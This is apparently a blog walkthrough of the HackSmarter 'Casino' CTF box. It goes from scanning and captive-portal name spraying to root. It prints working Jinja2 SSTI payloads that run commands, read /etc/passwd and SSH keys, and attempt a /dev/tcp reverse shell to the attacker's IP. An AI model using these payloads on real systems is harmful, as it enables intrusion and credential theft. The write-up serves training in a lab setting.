> ## Documentation Index > Fetch the complete documentation index at: https://www.nthsec.com/llms.txt > Use this file to discover all available pages before exploring further. # Casino: HackSmarter CTF Walkthrough > Las Vegas is gearing up for a massive cybersecurity conference, and you've been hired to conduct a penetration test against one of the casinos. The client - Hack Smarter World - is a luxury resort where many of the attendees will be staying. Your objective is to identify all vulnerabilities and elevate your privileges to root (if possible). Platform: HackSmarter · Difficulty: Medium · OS: Linux ![Hacksmarter Casino 2](https://mintcdn.com/nthsec/SJyS4evoCnU-YjvN/images/thumbnails/hacksmarter-casino-2.png?fit=max\&auto=format\&n=SJyS4evoCnU-YjvN\&q=85\&s=caff66d9c5570ca1cbb0ed88f70fcec3) > [!NOTE] > > You have been provided the IP of the Wifi Captive Portal... but no other information. # Enumeration First things first, running an NMAP scan on the given IP of `10.1.198.129`: ```shellscript theme={null} └─$ nmap -T4 -A 10.1.198.129 -oN nmap.txt Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-17 20:16 -0400 Nmap scan report for 10.1.198.129 Host is up (0.039s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 d3:3d:36:af:24:05:87:b0:ab:4b:44:17:5f:f3:23:89 (ECDSA) |_ 256 7d:3d:19:38:49:0a:ff:1f:ea:74:f5:28:0b:2b:31:60 (ED25519) 80/tcp open http Werkzeug httpd 3.1.8 (Python 3.10.18) | http-title: Hack Smarter World - Guest WiFi & Portal |_Requested resource was /login |_http-server-header: Werkzeug/3.1.8 Python/3.10.18 2222/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0) | ssh-hostkey: | 3072 7d:c5:f5:ba:03:3e:f0:76:5c:9d:47:b6:39:b5:c7:a4 (RSA) | 256 ed:5d:fa:ea:74:a0:56:b1:39:59:fc:c5:22:1e:5e:bd (ECDSA) |_ 256 50:31:d9:54:80:42:b8:44:cb:40:66:ea:cf:8f:cf:37 (ED25519) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=10/17%OT=22%CT=1%CU=38808%PV=Y%DS=3%DC=T%G=Y%TM=6AD40F OS:F5%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=107%TI=Z%CI=Z%TS=21)SEQ(SP OS:=105%GCD=1%ISR=10B%TI=Z%CI=Z%TS=21)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%II OS:=I%TS=22)SEQ(SP=106%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=FF%GCD=1%I OS:SR=10D%TI=Z%CI=Z%II=I%TS=21)OPS(O1=M510ST11NW7%O2=M510ST11NW7%O3=M510NNT OS:11NW7%O4=M510ST11NW7%O5=M510ST11NW7%O6=M510ST11)WIN(W1=F4B3%W2=F4B3%W3=F OS:4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M510NNSNW7%CC=Y%Q OS:=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40% OS:W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q= OS:)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL OS:=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) ``` We've got three open ports: * 22 (SSH) -- OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 * 80 (HTTP) -- Werkzeug httpd 3.1.8 * 2222 (SSH) -- OpenSSH 8.4p1 Debian 5+deb11u7 It is odd that there are two open SSH ports, maybe the second one will come in handy later. It's also odd that they are different versions, with one for ubuntu and the other for Debian. Regardless, it isn't my priority to attack SSH since it is unlikely that either of them are vulnerable, but we can come back to it if needed. ## Enumerating HTTP (80) First, gobuster to find potential hidden directories: ```shellscript theme={null} └─$ gobuster dir -u http://10.1.198.129/ -w /usr/share/wordlists/dirb/big.txt =============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.1.198.129/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== dashboard (Status: 302) [Size: 199] [--> /login] login (Status: 200) [Size: 4778] logout (Status: 302) [Size: 199] [--> /login] profile (Status: 302) [Size: 199] [--> /login] Progress: 20471 / 20471 (100.00%) =============================================================== Finished =============================================================== ``` Nothing much here since the interesting endpoints (/dashboard and /profile) seem to just redirect us to login. Heading to the login page, at first glance we see that this is the WiFi capture portal hinted at previously. ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=db4c9c807a2c6b3423bb3520ec90baa4) Opening up Caido in the background and capturing a request when clicking "Connect to Network", we see that as expected there are two main parameters captured, `room_number`, and `last_name`. ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-1.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=c4cbaf7a5018ee1d98039ab2002317c1) ### Authentication bypass on the WiFi Portal We get authentication failed when providing the two parameters of "room\_number=304" and "last\_name=NTH". My first thought is going to be spraying the `room_number` parameter with common last names like "Johnson", "Smith", "Doe", etc. similar to a password spraying attack. We can use Caido's Automate tab for this. ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-3.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=1f266c0320dbba09d254180bd8e764a4) *Spraying the last name "Smith" against room numbers 0-500* Looking through the results, we see that we actually get a hit! Sorting by the length or the status we can find that a combination of `room_number=105&last_name=Smith` nets us a successful login! ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-4.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=0d47c6c345d12b494bb4b7412be2b6a3) ### Continuing Enumeration as James Smith Going back to the web page and logging in, we're redirected successfully to dashboard! ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-5.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=d7d77c7de0a072b44a0fe5c652129c9e) Going to the `/profile` endpoint, we find that we don't have a ton of "WiFi Preferences" other than being able to change our display name. ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-6.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=12ca057b3a4c3a16d6d9fe30921bb328) One thing stands out to me. The setting says "This greeting appears on your dashboard, device connection logs, and smart room controls." This makes me think that we can do some kind of [log poisoning](https://pentesterlab.com/glossary/log-poisoning) attack, where we can change our name to insert malicious code into the device connection logs, and hope that we can find a way to trigger that file. Also we have fun HTML injection. ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-7.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=292df3696272ff47f62d10575cc07d27) Not just HTML injection though! The web page also allows XSS. Going back to the note it makes me think we may have more than just log poisoning, but also a potential stored XSS as well! ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-8.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=ca445993f0c6af84d44ddfa47e9f89e6) We can test this with a cookie steal payload: ```text theme={null} ``` If we DO have [stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored), we should see the cookie of whoever is viewing our payload in kali, but nothing comes across other than our own IP, so this one may be a **no go**. ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-9.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=39d6b1f68d5abf6ead3e51a9d349996c) Another thing I think of when I see reflection like this is [SSTI](https://portswigger.net/web-security/server-side-template-injection). There might some kind of template processing on the backend to display our Nickname, so we can try to break out of it. ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-10.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=ffcea23f6368a656d6d27bbfc5a3b0eb) Success! This proves that there is some kind of template (Jinja2 from the curly braces and knowing that this server is running python) processing our format. Let's try to break out and run a small amount of code. To do this, we can simply use direct global references available in standard Jinja2 environments, eliminating the need to guess subclass array indexes: ```text theme={null} {{ lipsum.__globals__['os'].popen('id').read() }} ``` And we are returned with the id of the www-data user! Confirmed RCE! ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-11.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=1c93dd2ea9382b88eafbb91747316eec) We can also enumerate /etc/passwd and extract two users, **george** and **david**: ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-12.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=b8aadf92d3a1b075e2ba75ef43abc0ca) # Initial Access (Foothold) as George Now that we know we have RCE through SSTI we can *attempt* to grab a shell with this payload: ```text theme={null} {{ lipsum.__globals__['os'].popen('sh -i >& /dev/tcp/10.200.108.184/4444 0>&1').read() }} ``` Though each attempt doesn't seem to be coming through on our listener... ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-13.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=b02e5f7877bd8df631e1d8fb3c152df0) Going back to the two users we found, george and david, I wonder if we can read their SSH keys out of their home directories, or maybe any other files that can disclose information? ```text theme={null} {{ lipsum.__globals__['os'].popen('ls -la /home/george').read() }} ``` ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-14.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=422d5c8eefdc528a0e1fdaa0dd850eb9) Looks like we can read george's home directory to grab the user flag! ```text theme={null} {{ lipsum.__globals__['os'].popen('cat /home/george/user.txt').read() }} ``` ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-15.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=ef080eccfba6ea93e79b7eda28735706) We can do the same thing to read George's SSH key: ```text theme={null} {{ lipsum.__globals__['os'].popen('cat /home/george/.ssh/').read() }} ``` ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-17.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=21937646baef1afc8231105b5884d72e) *Note: Make sure to copy this from the source code (pressing CTRL + U), as it is a lot cleaner and will import properly).* Hmmm, looks like we don't authenticate on port 22. ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-18.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=b057bde06a6986bcd0c2b4e320f4f5ec) But remember our first enumeration step! There is another SSH instance open on port 2222, and we can log into that one to grab our shell as george! ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-19.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=dac88393342baae1ed3bf17649540612) # Lateral Movement to David We land on what looks like a docker container (because of the hostname). One thing I noticed right away is that `.bash_history` has a bunch of stuff in it (from the file size) and that it isn't redirecting to /dev/null, meaning we can read it! In the bash history we find that our user used the `su` command to switch to david's account with the same password used to make a connection to the backend mysql database. Let's see if we can simply switch to david's user? ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-21.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=2a202e3b36f494049c98e48030e3eaaa) That was easy! ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-22.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=ec00ce4f9b867ec32b2ad2116d004618) # Privilege Escalation as David → Root Off rip, it doesn't look like we have an easy `sudo -l` privesc, so we can move on from that. ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-23.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=c3e3261e1060636d792a838f1083ccc8) Looking at our user groups, we find that we are in the **adm** group. ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-24.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=1666fd08949a8acd45b5d859a6e0e716) While this doesn't give us any crazy permissions out of the gate, it means we can read /var/log, which may give us creds to another user either on the port 22 instance of SSH, or other sensitive information. ```shellscript theme={null} david@a61f374cadda:/var/log$ ls -la total 240 drwxr-xr-x 1 root root 4096 Oct 18 00:11 . drwxr-xr-x 1 root root 4096 Jul 21 2025 .. -rw-r--r-- 1 root root 9140 Aug 9 22:39 alternatives.log drwxr-xr-x 1 root root 4096 Aug 9 22:38 apt -rw-rw---- 1 root utmp 0 Jul 21 2025 btmp -rw-r--r-- 1 root root 145056 Aug 9 22:39 dpkg.log -rw-r--r-- 1 root root 32064 Oct 18 00:11 faillog -rw-rw-r-- 1 root utmp 292584 Oct 18 01:24 lastlog -rw-r----- 1 root adm 612 Oct 18 00:11 provisioning.log drwxr-xr-x 3 root root 4096 Aug 9 22:39 runit drwxr-xr-x 2 root root 4096 Mar 21 2021 supervisor -rw-r--r-- 1 root root 901 Oct 18 00:16 supervisord.log -rw-rw-r-- 1 root utmp 384 Oct 18 01:24 wtmp ``` Catting out all the logs, we find that in the '`provisioning.log`' there is a root password! ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-25.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=338b98bd0f8a22fe7f53b9d31c46bf5f) Now we can simply SU to root and grab the root flag! ![Image](https://mintcdn.com/nthsec/qRQFPLlCXhL5Pzmb/images/image-26.png?fit=max\&auto=format\&n=qRQFPLlCXhL5Pzmb\&q=85\&s=a939d74d84b2d5706db4aaa655db8922) Overall a very fun and realistic box! I loved the theme of this box and the initial foothold to spray common last names. Until next time 🌟 This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.